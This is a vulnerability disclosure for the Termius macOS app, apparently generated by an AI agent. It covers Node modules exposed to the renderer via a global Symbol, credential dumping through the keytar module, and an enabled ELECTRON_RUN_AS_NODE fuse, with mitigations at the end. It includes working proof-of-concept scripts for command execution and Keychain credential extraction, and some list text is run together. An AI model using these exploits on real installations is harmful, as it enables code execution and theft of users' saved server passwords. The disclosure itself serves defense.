
Target: Termius (macOS) Version Tested: Latest (as of Jan 2026) Impact: Remote Code Execution (RCE), Local Privilege Escalation (LPE), App Security Bypass
Three critical vulnerabilities were identified in the Termius macOS application that allow an attacker to:
keytar native module.ELECTRON_RUN_AS_NODE fuse.The application exposes powerful Node.js modules (child_process, fs, electron) to the renderer process (the web interface part of the app). These modules are hidden behind a global Symbol in the window object to obscure them, but they are not securely isolated.
// In extracted app source
window[Symbol.for("preloadedModulesKey")] = {
child_process: require('child_process'),
// ...
};
An attacker who achieves Cross-Site Scripting (XSS) can immediately escalate to RCE using this exposed symbol.
poc_rce_via_symbol.js:
// 1. Reconstruct the hidden key using Symbol.for (Global Registry)
const hiddenKey = Symbol.for("preloadedModulesKey");
// 2. Access the exposed backdoor object
const backdoor = window[hiddenKey];
if (backdoor && backdoor.child_process) {
console.log("RCE Target Acquired.");
// 3. Execute arbitrary system command (e.g., Calculator)
backdoor.child_process.exec("open -a Calculator");
}
The keytar native node module, which Termius uses to interface with the macOS Keychain, is also exposed via the same hidden Symbol. This allows any script running within the application context (e.g., a malicious plugin, XSS, or local process injection) to query and retrieve plaintext passwords for all saved servers.
poc_lpe_dump_creds.js:
const hiddenKey = Symbol.for("preloadedModulesKey");
const modules = window[hiddenKey];
// Find the keytar module (name may vary slightly)
const keytarModuleName = Object.keys(modules).find(k => k.includes("keytar"));
const keytar = modules[keytarModuleName];
// Dump credentials for the default service
keytar.findCredentials("Termius").then(credentials => {
console.log("🔥🔥🔥 DUMPED CREDENTIALS 🔥🔥🔥");
console.table(credentials);
});
RunAsNode)The Termius binary does not disable the ELECTRON_RUN_AS_NODE fuse. This is a critical security misconfiguration that allows any local user to execute the signed Termius binary as a standard Node.js executable. This completely bypasses macOS Code Signing integrity checks for the application logic.
poc_fuse.sh:
# Execute Termius as Node.js, running arbitrary code
ELECTRON_RUN_AS_NODE=1 /Applications/Termius.app/Contents/MacOS/Termius -e 'require("child_process").exec("open -a Calculator")'
RunAsNode and EnableNodeCliInspectArguments using @electron/fuses during build.window or global. Use contextBridge.exposeInMainWorld with a restricted API surface that only exposes necessary functions, not entire modules.Report generated by Antigravity Agent